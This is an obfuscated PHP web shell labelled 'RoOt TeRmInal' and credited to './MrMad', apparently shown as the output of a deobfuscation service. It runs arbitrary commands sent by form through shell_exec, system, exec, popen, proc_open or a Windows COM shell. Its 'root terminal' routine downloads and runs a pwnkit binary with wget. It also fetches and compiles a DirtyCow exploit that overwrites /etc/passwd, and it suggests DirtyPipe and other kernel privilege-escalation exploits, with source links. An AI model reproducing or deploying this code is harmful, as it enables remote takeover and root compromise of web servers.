\x33\x70x\x3b\n \x20 \x20 \x20\x20 \x70\x61d\x64i\x6eg:\x202\x70x;\n\x20\x20 \x20\x20 \x20\x20\x20\x20\x20\x63\x6fl\x6f\x72: \x233\x61cf7\x33;\n\x20 \x20\x20\x20\x20 }\n\n\x20\x20 \x20\x20 \x20 .termina\x6c-r0\x30\x74-\x62\x6f\x64y\x20\x69n\x70\x75\x74[t\x79p\x65=\"\x73\x75\x62\x6d\x69t\"]\x20{\n \x20 \x20\x20\x20\x20 \x20\x20\x20\x20\x62\x6f\x72d\x65\x72:\x201\x70\x78 solid w\x68i\x74esm\x6fk\x65\x3b\n\x20 \x20\x20 \x20\x20\x20\x20 \x70\x61\x64\x64in\x67:\x20\x32\x70x\x208.5p\x78;\n \x20\x20 \x20 \x20 bo\x72d\x65r-\x72\x61diu\x73:\x202\x70x\x3b\n\x20\x20 \x20\x20\x20\x20\x20\x20\x63\x6f\x6c\x6fr:\x20\x23\x33a\x63f7\x33;\n\x20 \x20\x20 \x20 \x20\x20\x20ba\x63\x6b\x67\x72\x6fu\x6e\x64-color:\x20#\x32\x39\x32929\x3b\n\x20\x20 }\n\n\x20 \x20 \x20 \x20 \x66orm {\n\x20 \x20 \x20\x20\x20\x20\x20 \x20tex\x74-\x61lig\x6e: c\x65n\x74er\x3b\n \x20 \x20\x20\x20\x20 \x20 \x70a\x64d\x69\x6eg: 5px;\n\x20 \x20 \x20\x20}\n\n\x20 \x20\x20\x20\x74\x65\x78tar\x65a\x20{\n \x20 \x20\x20\x20\x20\x20\x20 b\x61\x63\x6b\x67\x72o\x75n\x64-co\x6co\x72:\x20\x23\x32\x39\x32\x392\x39\x3b\n \x20 \x20\x20\x20 \x20\x20\x20\x63\x6f\x6cor: #\x33\x61cf7\x33\x3b\n \x20 \x20 \x20w\x69dt\x68:\x20\x399.\x39%\x3b\n \x20 \x20 \x20\x20\x68e\x69g\x68t:\x20\x350v\x68\x3b\n \x20 \x20 \x20\x20}\n\x20\x20 </s\x74y\x6c\x65>\n</\x68ead>\n\n<b\x6fdy>\n\x20 \x20 <\x62\x72>\n\x20 \x20 \x3c\x63\x65\x6ete\x72\x3e\n \x20 \x20\x20 \x20<\x683><\x62>\x52o\x4f\x74\x20\x54eRm\x49n\x61\x6c</\x62\x3e\x3c/h\x33\x3e\n\x20 \x3c/\x63ente\x72\x3e\n\x20\x20 \x20<\x64\x69v \x63lass=\x22\x63\x6f\x6etainer\x22\x3e\n \x20\x20 \x3c\x75\x6c>\n\x20\x20\x20 \x20\x20\x20\x20 \x3c\x6c\x69><\x62\x3e";echo ${$ohcufyepip}[11]();echo "\x3c/\x62\x3e</l\x69\x3e\n \x20\x20 \x20 \x20 \x3c\x6ci\x3e\x3c\x62>\x42\x41SH[";echo check_function("\x62\x61\x73\x68");echo "]\x3b\x50\x45RL[";echo check_function("\x70\x65rl");echo "];PKE\x58E\x43[";echo check_function("\x70\x6b\x65x\x65c");echo "];\x47\x43\x43[";echo check_function("g\x63\x63");echo "]</b></\x6c\x69\x3e\n \x20\x20\x20\x20 \x20\x20\x20\x20 \x3cli><b>";echo get_current_user();echo "</b\x3e\x3c/\x6c\x69\x3e\n \x20\x20\x20 \x20\x20\x3c/\x75l\x3e\n\x20\x20\x20 \x3c/\x64\x69v>\n \x20\x20\x20\x3cdi\x76\x20\x63\x6ca\x73s=\"\x63\x6fnt\x61\x69ne\x72\x22>\n\x20\x20 \x20 \x20\x3c\x75\x6c\x20cl\x61\x73\x73=\x22\x74ermin\x61\x6c-\x68e\x61der\"\x3e\n\x20\x20\x20\x20 \x20\x20\x20 \x20\x20\x3cli><\x61\x20href\x3d\"?t\x65\x72mi\x6eal\x3d\x6eor\x6d\x61\x6c\"\x20c\x6cas\x73\x3d\"t\x65\x72\x6d\x69nal-r\x30\x30t-\x6c\x69nk\x20shad\x6fw\x22\x3e\x3ci\x20cl\x61ss=\"b\x69\x20b\x69-\x74erm\x69\x6eal-p\x6cu\x73\x22></i>&\x6ebs\x70\x3b\x54\x65\x72\x6d\x69n\x61l\x3c/a\x3e\x3c/\x6ci\x3e\n \x20\x20\x20 \x20\x20\x20 \x3cli><a \x68\x72\x65f=\x22?t\x65rmin\x61\x6c=\x72\x6f\x6f\x74\" \x63las\x73=\"te\x72\x6d\x69\x6e\x61l-r\x30\x30\x74-\x6ci\x6ek\x20sh\x61d\x6f\x77\x22><\x69\x20\x63\x6ca\x73\x73\x3d\x22\x62i\x20bi-\x74\x65\x72mi\x6ea\x6c-da\x73h\x22>\x3c/i> \x3b\x52\x300\x74 T\x65\x72\x6d\x69n\x61l\x3c/\x61></li\x3e\n \x20\x20 \x20\x20\x20\x3c/u\x6c\x3e\n \x20 \x20\x20 \x20<div \x63l\x61\x73\x73=\x22\x74\x65\x72\x6di\x6eal-r0\x30t-bod\x79\x20\x72\x6f\x75\x6e\x64e\x64 \x73\x68\x61d\x6f\x77-\x6cg\">\n\x20 \x20\x20 \x20\x20\x20\x3cform ac\x74\x69o\x6e=\"\x22 m\x65\x74\x68\x6f\x64=\x22\x70\x6fs\x74\">\n \x20 \x20 \x20 \x20 \x20\x20\x20<inp\x75\x74 \x74\x79\x70e=\x22\x74e\x78t\x22\x20nam\x65\x3d\"\x74\x65rm\x69n\x61\x6c\x22 i\x64\x3d\"\" \x70\x6cacehold\x65\x72=\x22te\x72\x6di\x6ea\x6c@";echo $_SERVER[${${"\x47\x4cOB\x41\x4c\x53"}["\x66\x69\x69\x64e\x61\x6c"]}[18]];echo "~#\"\x20\x61\x75tof\x6f\x63u\x73>\n\x20 \x20 \x20\x20 \x20\x3cin\x70u\x74 \x74yp\x65=\"\x73ubmi\x74\x22\x20\x6e\x61me=\"s\x75\x62mit\"\x20val\x75e\x3d\x22>\x22>\n\x20\x20\x20 \x20\x20 \x20 \x20</\x66o\x72\x6d\x3e\n \x20\x20\x20\x20\x20 \x20 \x3cb\x72\x3e\n\x20 \x20 \x20 \x20";${${"\x47\x4c\x4fB\x41L\x53"}["\x68y\x68\x79g\x74\x6b\x6b\x76\x6f"]}=$_POST["\x74erm\x69na\x6c"];if($_GET["\x74er\x6d\x69n\x61\x6c"]=="\x6eo\x72\x6d\x61\x6c"){echo"<t\x65xt\x61r\x65\x61 \x63l\x61\x73s\x3d\"\x62o\x72d\x65\x72-\x30\x22 dis\x61\x62le\x64>";if(isset($_POST["\x73u\x62\x6dit"])){echo HtmLsPecialChars(_mad_cmd(${${"\x47LO\x42\x41\x4c\x53"}["\x68\x79\x68\x79\x67\x74\x6b\x6b\x76\x6f"]}."\x202>\x261"));}echo"\x3c/te\x78ta\x72ea\x3e";}else if($_GET["\x74erm\x69nal"]=="\x72\x6f\x6f\x74"){echo"<te\x78ta\x72\x65a\x20c\x6ca\x73s=\"bo\x72de\x72-0\"\x20d\x69\x73able\x64>";if(${${"\x47\x4c\x4f\x42ALS"}["\x68\x79\x68y\x67\x74k\x6b\x76\x6f"]}=="\x72\x6fo\x74"){root_terminal();}echo HtmLsPecialChars(_mad_cmd("./\x70w\x6e\x6b\x69t \"".${${"G\x4c\x4f\x42AL\x53"}["h\x79\x68\x79g\x74\x6bk\x76\x6f"]}."\""));echo"</t\x65xtar\x65\x61>\n";}else{echo base64_decode("W\x79B\x51\x63ml2\x5a\x57xl\x5a\x32UgRXN\x6a\x59\x57\x78\x68d\x47\x6c\x76\x62iBFeHB\x73b2\x6c\x30\x5aXIg\x58Tx\x69\x63\x6a\x34\x4b\x57\x79\x74d\x49EF\x31\x64\x47\x68v\x63\x69\x41\x36\x49\x43\x34v\x54XJNY\x57Q\x38\x59\x6e\x49+\x43lsr\x58\x53\x42od\x48\x52wc\x7aovL2dp\x64G\x681\x59\x69\x35j\x62\x320\x76TWF\x6b\x52\x58\x68w\x62\x47\x39\x70dHM\x38\x59n\x49+\x43j\x78\x69cj\x34\x4bW\x79\x74dIF\x52\x35c\x47\x55g\x63\x6d\x39v\x64CBm\x623\x49gcnVub\x6d\x6c\x75\x5ay\x42\x68\x64\x58Rv\x49HJ\x76b3Q=");}echo " \x20 \x20\x20 </d\x69v\x3e\n \x20 </\x64\x69\x76>\n\x20\x20 \x3cbr>\n <\x63e\x6eter\x3e\n \x20\x20\x20 \x20<span><\x62>&c\x6fp\x79\x3bCo\x70\x79rig\x68\x74\x20\x42\x79\x20./\x4d\x72\x4d\x61d</b\x3e\x3c/span\x3e\n </\x63\x65\x6e\x74\x65r\x3e\n \x20\x3c\x73c\x72i\x70\x74 s\x72\x63\x3d\x22\x68\x74tp\x73://c\x64\x6e\x2e\x6a\x73\x64\x65\x6ci\x76r\x2ene\x74/\x6epm/\x62\x6fot\x73t\x72ap\x405.\x32\x2e1/d\x69\x73\x74/js/boots\x74r\x61\x70\x2e\x62u\x6edle.\x6di\x6e.j\x73\x22 \x69n\x74egri\x74y=\x22sha38\x34-\x751\x4fkn\x43\x76xWv\x595\x6bf\x6dNBIL\x4b\x32h\x52\x6eQ\x433\x50\x7217a+RTT6r\x49\x48I\x37\x4e\x6e\x69kv\x62\x5al\x48g\x54POO\x6dMi46\x36\x43\x38\x22 \x63ross\x6f\x72\x69\x67\x69n\x3d\"\x61n\x6fn\x79\x6d\x6f\x75s\"\x3e</\x73\x63\x72\x69p\x74\x3e\n\x3c/\x62\x6fd\x79\x3e\n\n</h\x74ml>\n\n";function _mad_cmd($de){${${"\x47L\x4f\x42\x41\x4cS"}["\x77\x66sz\x78wg\x64\x61w\x73"]}="";try{if(fUncTion_eXistS("\x73hel\x6c\x5fexec")){$xiyuzhnihzv="\x64\x65";return@$GLOBALS["f\x75\x6egs\x69"][0](${$xiyuzhnihzv});}else if(fUncTion_eXistS("\x73\x79\x73t\x65m")){@$GLOBALS["f\x75\x6egs\x69"][3](${${"\x47\x4c\x4f\x42A\x4c\x53"}["\x62\x69jls\x63\x74\x62"]});}else if(fUncTion_eXistS("e\x78ec")){${"G\x4cO\x42\x41\x4c\x53"}["\x73\x73\x71c\x6c\x66\x6f"]="e\x78\x65\x63";${"\x47\x4c\x4f\x42\x41LS"}["ugpy\x65\x66\x6fk\x69"]="\x64\x65";${${"\x47LO\x42\x41L\x53"}["e\x71\x71\x74\x75\x67\x75\x66k\x6b\x74"]}=array();@$GLOBALS["\x66\x75\x6egs\x69"][1](${${"\x47\x4cOB\x41\x4c\x53"}["\x75\x67p\x79ef\x6f\x6bi"]},${${"\x47LO\x42\x41\x4cS"}["s\x73\x71clf\x6f"]});${"\x47\x4c\x4f\x42\x41\x4cS"}["\x69\x69i\x61\x69\x74\x74\x6f\x68id"]="e\x78ec";${${"GL\x4fB\x41\x4c\x53"}["wf\x73\x7a\x78w\x67\x64a\x77\x73"]}=@join("\n",${${"\x47\x4c\x4fB\x41L\x53"}["e\x71qt\x75\x67\x75\x66\x6b\x6b\x74"]});return${${"\x47\x4c\x4f\x42A\x4c\x53"}["iii\x61\x69t\x74\x6f\x68i\x64"]};}else if(fUncTion_eXistS("\x70a\x73s\x74h\x72u")){@$GLOBALS["fun\x67s\x69"][2](${${"\x47\x4cO\x42\x41\x4c\x53"}["b\x69\x6a\x6c\x73\x63\x74b"]});}else if(fUncTion_eXistS("\x70\x6fp\x65n")&&fUncTion_eXistS("pcl\x6f\x73\x65")){${"G\x4cO\x42\x41\x4cS"}["\x6es\x79ptd"]="f";${"\x47LO\x42\x41\x4c\x53"}["\x70\x70\x72\x6b\x74i\x73\x73"]="d\x65";if(is_resource(${${"G\x4c\x4fBAL\x53"}["\x6e\x73\x79\x70t\x64"]}=@$GLOBALS["fu\x6egs\x69"][5](${${"G\x4cOB\x41\x4cS"}["\x70\x70rk\x74\x69\x73s"]},"\x72"))){${${"\x47\x4c\x4fBA\x4cS"}["\x77fs\x7a\x78w\x67\x64\x61\x77\x73"]}="";while(!@feof(${${"\x47\x4cO\x42\x41L\x53"}["ps\x79\x6fi\x68\x6a\x77\x71\x73"]}))${${"G\x4c\x4f\x42\x41\x4cS"}["w\x66\x73\x7ax\x77\x67d\x61\x77s"]}.=FrEad(${${"\x47\x4c\x4f\x42\x41L\x53"}["ps\x79o\x69\x68\x6a\x77q\x73"]},1024);return${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x77f\x73\x7ax\x77gda\x77\x73"]};${"\x47\x4cOB\x41L\x53"}["\x6ar\x63\x67y\x61\x74\x68ib"]="f";$GLOBALS["fun\x67si"][6](${${"\x47\x4cOB\x41\x4c\x53"}["\x6a\x72\x63\x67\x79\x61t\x68i\x62"]});}}else if(fUncTion_eXistS("\x70\x72\x6f\x63\x5fo\x70\x65n")){${"GLOB\x41LS"}["\x6b\x66u\x63\x65\x67n\x78\x64\x63\x71"]="\x6fu\x74";${"\x47LO\x42A\x4c\x53"}["\x68\x70j\x71p\x75m\x6c\x63ww"]="p\x72\x6f\x63e\x73\x73";${${"\x47\x4c\x4f\x42\x41L\x53"}["a\x66\x6eg\x69rb\x77\x68"]}=array();${${"\x47L\x4f\x42AL\x53"}["h\x70\x6aqp\x75\x6d\x6c\x63w\x77"]}=@$GLOBALS["\x66\x75\x6egsi"][4](${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x62\x69jls\x63\x74\x62"]}." \x32\x3e&\x31",array(array("pi\x70\x65","w"),array("\x70\x69\x70\x65","\x77"),array("pipe","w")),${${"G\x4c\x4f\x42\x41\x4c\x53"}["\x61\x66\x6eg\x69\x72\x62\x77\x68"]},null);${${"\x47\x4cO\x42\x41\x4c\x53"}["\x6b\x66uc\x65\x67\x6ex\x64\x63\x71"]}=@$GLOBALS["\x66u\x6e\x67\x73i"][8](${${"GL\x4f\x42\x41LS"}["a\x66ng\x69\x72\x62\x77\x68"]}[1]);return${${"\x47\x4cOB\x41L\x53"}["\x77\x66\x73\x7a\x78\x77\x67\x64a\x77\x73"]};}else if(class_exists("CO\x4d")){${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x69\x6f\x6de\x79\x65\x62\x61\x62"]="\x73\x74\x64\x6f\x75t";${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78n\x65\x67f\x76\x6b\x61\x63\x76h"]="\x6d\x61\x64\x57s";${${"\x47\x4c\x4fB\x41\x4c\x53"}["\x78\x6e\x65\x67\x66vk\x61c\x76\x68"]}=new COM("\x57Sc\x72ipt.\x73hell");${${"\x47\x4c\x4fB\x41L\x53"}["\x65\x71q\x74\x75\x67\x75f\x6bk\x74"]}=$madWs->$GLOBALS["\x66ungsi"][1]("cmd\x2e\x65\x78\x65\x20/c\x20".$_POST["\x61lf\x611"]);${${"\x47L\x4f\x42\x41LS"}["\x69\x6f\x6d\x65yeba\x62"]}=$exec->StdOut();${${"G\x4c\x4f\x42\x41\x4c\x53"}["\x77f\x73zx\x77gd\x61\x77\x73"]}=$stdout->ReadAll();}}catch(Exception$e){}return$out;}function root_terminal(){echo"\n[+] \x44o\x77nlo\x61d\x69\x6eg\x20Th\x65\x20so\x75\x72\x63\x65 \n";echo _mad_cmd("\x77get\x20".$GLOBALS["\x66u\x6egsi"][16]."\x20--n\x6f-\x63\x68eck-\x63\x65\x72\x74\x69\x66\x69ca\x74e");echo"[\x21]\x20Chmod\x20f\x69\x6c\x65 \x70\x77nkit\x2e\x2e..\n";echo _mad_cmd("\x63\x68\x6d\x6f\x64\x20+\x78 p\x77nk\x69\x74");echo"[+] \x54est\x69\x6e\x67 \x69\x66\x20t\x68i\x73\x20\x6bern\x65\x6c v\x75l\x6e\x65r\x61\x62le\x2e\x2e.\n";${"\x47\x4cO\x42AL\x53"}["doydps\x71"]="\x63\x68\x65\x63\x6b\x5f\x76\x75\x6cn\x65\x72\x61\x62\x6c\x65";echo"[\x21] \x54\x68\x69s ker\x6e\x65\x6c \x76\x65rs\x69\x6fn \x69s ".kernel_angka()." \n";if(suggest_exploit()=="\x35\x2e\x31\x31"){echo"[!]\x20T\x68\x69s \x4be\x72\x6ee\x6c\x20\x4da\x79\x62e \x56\x75l\x6e \x44\x69\x72t\x79pi\x70e\n";}else if(suggest_exploit()=="4.\x31\x30"){echo"[!] T\x68\x69\x73\x20\x4b\x65\x72ne\x6c\x20Ma\x79be\x20Vu\x6cn PT\x52\x41\x43E\x5fT\x52\x41\x43\x45\x4d\x45\n";}else if(suggest_exploit()=="\x32.6\x2e2\x32"||suggest_exploit()=="\x33.9.".True.""){echo _mad_cmd("\x77ge\x74 ".$GLOBALS["\x66ung\x73i"][21]."\x20-\x4f dir\x74\x79.c\x20--no-\x63h\x65\x63\x6b-\x63erti\x66i\x63ate");echo _mad_cmd("gcc\x20-pthre\x61\x64 \x64irt\x79.c -o\x20d\x69\x72\x74y -lc\x72\x79pt");echo _mad_cmd("\x63hm\x6f\x64\x20+x\x20di\x72\x74\x79");echo"\x43\x72e\x61ting\x20\x50a\x73\x73wo\x72\x64\x20usi\x6e\x67 \x27\x4d\x72Mad'\n";echo _mad_cmd("\x2e/\x64irt\x79\x20mrm\x61\x64");echo"D\x6fn\x65 roo\x74\x69\x6eg\x20ple\x61se\x20c\x68\x65c\x6b\x20\x66irt\x73 u\x73i\x6e\x67 \x63a\x74 /\x65t\x63/pas\x73w\x64\n";echo"Y\x6fu\x20C\x61\x6e\x20r\x75\x6e\x6ein\x67 \x74\x68\x61t \x75\x73\x65r using sh\x20f\x69\x72ef\x61r\x74@".$_SERVER["\x53\x45RVER_AD\x44\x52"]."\n";echo"\x44\x4fN\x27T\x20\x46\x4f\x52\x47\x45\x54\x20\x54\x4f\x20RES\x54\x4f\x52E \x59\x4f\x55R /\x65t\x63/\x70\x61\x73\x73wd\x20AF\x54\x45\x52 R\x55\x4e\x4e\x49NG\x20THE \x45XPL\x4f\x49T!\n";echo"mv\x20/t\x6dp/pa\x73s\x77d.bak /\x65t\x63/p\x61\x73\x73\x77\x64";echo"Explo\x69\x74\x20a\x64opte\x64\x20b\x79\x20\x43hri\x73\x74\x69a\x6e\x20\"\x46ir\x65\x46\x61\x72t\x22\x20M\x65\x68\x6cma\x75er";exit;}else if(distro_linux()=="D\x65\x62i\x61\x6e"||distro_linux()=="U\x62un\x74u"||distro_linux()=="\x43\x65ntos"){echo"[\x21]\x20T\x68\x69\x73 \x4ber\x6e\x65\x6c\x20\x4d\x61\x79be Vul\x6e Pw\x6ek\x69t\n";}else if(suggest_exploit()=="5\x2e16.\x31\x31"||suggest_exploit()=="\x35.\x315\x2e2\x35"||suggest_exploit()=="\x35.\x310.1\x302"){echo"Thi\x73 Kerne\x6c\x20M\x61\x79b\x65 \x56\x75l\x6e \x44irtypi\x70\x65\x20\n";echo"\x44\x69r\x74y\x20Pip\x65\x20- C\x56\x45-\x320\x322-08\x34\x37\n";echo"B\x61ckc\x6f\x6e\x6e\x65ct\x20s\x6f\x75rc\x65: h\x74t\x70s://\x67i\x74\x68\x75\x62\x2eco\x6d/M\x61\x64\x45xp\x6c\x6f\x69\x74s/Re\x76e\x72se-Sh\x65\x6cl-Pa\x79l\x6f\x61\x64\n";echo"Expl\x6f\x69t \x53o\x75r\x63e:\x20h\x74\x74ps://g\x69th\x75b\x2e\x63\x6fm/0xI\x72\x6f\x6e\x47\x6fa\x74/d\x69\x72ty-\x70ipe\n";}else if(suggest_exploit()=="\x34\x2e\x319\x2e\x32"||suggest_exploit()=="\x34\x2e1\x35\x2e".True.""){echo"Th\x69s \x4b\x65\x72ne\x6c Ma\x79\x62\x65\x20\x56uln\x20\x53ub\x75id\n";echo"L\x69nux\x20\x4ber\x6eel\x204\x2e15.x\x20< 4.\x31\x39.\x32\x20-\x20\x27m\x61p_\x77ri\x74\x65() \x43A\x50\x5f\x53\x59S_\x41\x44\x4dI\x4e\x27 \x4coc\x61\x6c \x50r\x69\x76\x69\x6ceg\x65\x20\x45\x73\x63\x61l\x61t\x69\x6f\x6e (\x64\x62u\x73 \x4d\x65\x74\x68od)\n";echo"B\x61\x63\x6bc\x6fnnect\x20\x73o\x75\x72\x63e:\x20ht\x74\x70\x73://\x67\x69thu\x62\x2ec\x6fm/M\x61d\x45\x78\x70\x6coi\x74\x73/Rev\x65\x72se-\x53h\x65ll-P\x61\x79loa\x64\n";echo"Ex\x70l\x6fi\x74\x20\x53\x6f\x75\x72\x63e:\x20\x68\x74\x74p\x73://\x77\x77\x77\x2ee\x78p\x6c\x6fit-db.c\x6f\x6d/\x64\x6fw\x6eload/\x34716\x35\n";}echo _mad_cmd("\x2e/pw\x6e\x6b\x69\x74\x20\x22\x69\x64\" >\x20\x6dad-pwn\x6b\x69\x74");${${"G\x4c\x4fB\x41\x4cS"}["\x6fnxm\x78ww\x75w\x6a\x6a\x78"]}=$GLOBALS["f\x75\x6e\x67\x73i"][17](__DIR__."/ma\x64-\x70wn\x6b\x69\x74");${${"GL\x4fBA\x4c\x53"}["\x79\x78\x69\x76jp\x67o\x71\x70\x64\x6a"]}=explode("\x20",${${"\x47\x4c\x4f\x42A\x4c\x53"}["do\x79\x64\x70\x73\x71"]});if(${${"\x47\x4c\x4f\x42A\x4c\x53"}["y\x78\x69\x76\x6a\x70\x67o\x71\x70\x64\x6a"]}[0]=="ui\x64\x3d\x30(ro\x6ft)"){echo"[\x7e] T\x68i\x73\x20K\x65r\x6e\x65\x6c \x69s\x20\x76u\x6c\x6e\x65\x72\x61\x62le \x63\x6fn\x67rat\x73!\n";}else{echo"[!] T\x68\x69s k\x65\x72n\x65\x6c\x20is \x6e\x6ft\x20\x56\x75\x6cner\x61bl\x65\x20Sor\x72\x79\x20:)";return;}echo"[+]\x20Givi\x6e\x67\x20\x50e\x72\x6d\x69s\x73\x69on\x20\x6f\x6e ma\x64-pw\x6e\x6bi\x74\n";echo _mad_cmd("\x63\x68\x6dod +\x78 \x6d\x61d-\x70w\x6ekit");if(!_mad_cmd("\x2e/\x70\x77\x6e\x6b\x69\x74 \"i\x64\x22")){echo"[\x21] Ca\x6eno\x74\x20\x72unnin\x67\x20\x70wnk\x69t";}else{echo"[!] Done Sir\x2e\x20n\x6f\x77 u \x63\x61\x6e\x20\x72\x75\x6e\x6eing on\x20ro\x6f\x74 \x75ser!";exit;}}function check_function($value){if(_mad_cmd("$value\x20--\x76\x65\x72\x73i\x6f\x6e")){return"<f\x6fnt c\x6f\x6c\x6f\x72\x3d\x27\x67\x72ee\x6e'>O\x4e</f\x6f\x6e\x74>";}else{return"\x3c\x66\x6fn\x74\x20col\x6f\x72='r\x65d\x27>\x4f\x46\x46\x3c/\x66\x6fnt\x3e";}}function kernel_angka(){${"\x47L\x4f\x42\x41\x4c\x53"}["g\x69e\x66\x6cnm\x77b"]="\x78\x70\x6c\x6f\x64";$ngmulaqoiiv="\x78pl\x6fd";${${"\x47L\x4f\x42\x41L\x53"}["sf\x7a\x63\x72\x66"]}=$GLOBALS["fungsi"][11]();${$ngmulaqoiiv}=explode(" ",${${"\x47L\x4fB\x41\x4cS"}["s\x66\x7a\x63\x72\x66"]});${${"G\x4c\x4f\x42\x41\x4c\x53"}["\x6a\x66\x6bj\x79b\x6c\x79\x63p"]}=explode("-",${${"G\x4cOB\x41\x4cS"}["g\x69\x65\x66\x6cn\x6d\x77b"]}[2]);return${${"\x47\x4c\x4f\x42\x41L\x53"}["\x6a\x66\x6b\x6a\x79\x62l\x79c\x70"]}[0];}function hex($n){$uvsuxeyqko="\x69";$hlnogyjbysux="\x79";$dbvwxc="n";${$hlnogyjbysux}="";for(${${"G\x4c\x4f\x42A\x4cS"}["f\x77\x6an\x78h\x75\x6b\x67"]}=0;${${"G\x4cO\x42\x41L\x53"}["\x66wj\x6e\x78\x68u\x6b\x67"]}<strlen(${$dbvwxc});${$uvsuxeyqko}++){$iqnjbrrpq="\x6e";$yjzcxqpvd="\x69";$htseejsobk="\x79";${$htseejsobk}.=dechex(ord(${$iqnjbrrpq}[${$yjzcxqpvd}]));}return${${"\x47\x4cO\x42\x41\x4c\x53"}["\x63r\x69i\x77h"]};}function unhex($y){${"\x47\x4c\x4f\x42\x41L\x53"}["\x74\x70\x65\x65\x77\x6ah\x6a\x72kd"]="\x69";${${"\x47LO\x42\x41\x4cS"}["w\x63\x78klldu\x70"]}="";${"G\x4c\x4f\x42A\x4c\x53"}["q\x79v\x78\x64\x6c\x76\x6f\x66\x68\x75\x78"]="\x69";for(${${"GL\x4f\x42A\x4c\x53"}["\x71\x79\x76xd\x6c\x76\x6ff\x68ux"]}=0;${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x74\x70\x65\x65\x77\x6a\x68\x6a\x72\x6b\x64"]}<strlen(${${"G\x4c\x4f\x42\x41\x4c\x53"}["\x63\x72i\x69wh"]})-1;${${"G\x4c\x4f\x42\x41L\x53"}["\x66w\x6a\x6ex\x68\x75k\x67"]}+=2){$gackbqri="\x79";${"\x47L\x4f\x42A\x4c\x53"}["c\x61\x64\x73k\x73"]="\x6e";${"G\x4c\x4f\x42\x41L\x53"}["\x79\x68l\x6d\x6d\x71b\x6f\x64k\x79"]="y";${${"\x47\x4c\x4fBA\x4cS"}["c\x61\x64sks"]}.=chr(hexdec(${$gackbqri}[${${"\x47L\x4f\x42\x41\x4cS"}["\x66\x77j\x6e\x78\x68u\x6b\x67"]}].${${"GL\x4fBA\x4c\x53"}["\x79\x68l\x6d\x6d\x71\x62o\x64\x6by"]}[${${"\x47\x4c\x4fB\x41\x4cS"}["\x66w\x6an\x78\x68u\x6b\x67"]}+1]));}return${${"\x47\x4c\x4fBA\x4c\x53"}["\x77c\x78\x6blldu\x70"]};}function suggest_exploit(){$sujzmiispj="x\x70\x6c\x64";$qpxlofopl="\x75n\x61me";$qzpykjkpfr="\x78\x70\x6co\x64";${${"G\x4c\x4fBA\x4cS"}["\x73\x66\x7a\x63\x72\x66"]}=$GLOBALS["f\x75n\x67\x73i"][11]();${${"G\x4c\x4fB\x41LS"}["\x7a\x74\x69i\x72\x76\x77\x6f"]}=explode("\x20",${$qpxlofopl});$suoieyewaffg="p\x6c";$hixlvfg="x\x70\x6c\x64";$ypxqbcucvigz="pl";${$sujzmiispj}=explode("-",${$qzpykjkpfr}[2]);${$ypxqbcucvigz}=explode(".",${$hixlvfg}[0]);return${$suoieyewaffg}[0].".".${${"\x47\x4c\x4f\x42\x41\x4cS"}["j\x75h\x6b\x71\x67\x6az"]}[1];}function distro_linux(){${"G\x4c\x4fBA\x4c\x53"}["\x68\x79n\x75\x72lh\x75\x65"]="x\x70\x6c\x6fd";${${"\x47\x4cO\x42\x41LS"}["sf\x7a\x63\x72f"]}=$GLOBALS["fun\x67s\x69"][11]();$pfwfyyxcpv="\x75\x6eam\x65";${${"G\x4c\x4fB\x41\x4c\x53"}["h\x79\x6eu\x72lh\x75e"]}=explode(" ",${$pfwfyyxcpv});return${${"GL\x4fB\x41L\x53"}["z\x74\x69\x69\x72\x76\x77\x6f"]}[6];}function redir($url,$value){return"<\x6de\x74a \x68ttp-equ\x69\x76=\x22\x72e\x66re\x73\x68\" co\x6e\x74\x65\x6e\x74=\"0\x3bu\x72l\x3d?te\x72\x6din\x61\x6c=".${${"\x47\x4c\x4f\x42\x41LS"}["g\x72\x62\x68\x70gb\x74"]}."&p\x61\x74h\x3d".hex(${${"\x47\x4cO\x42\x41LS"}["iz\x72le\x74\x68"]})."\"\x3e";}
?>Function Calls
| None |
Stats
| MD5 | 3f5c92b0de2642673d953e13e79348a2 |
| Eval Count | 0 |
| Decode Time | 59 ms |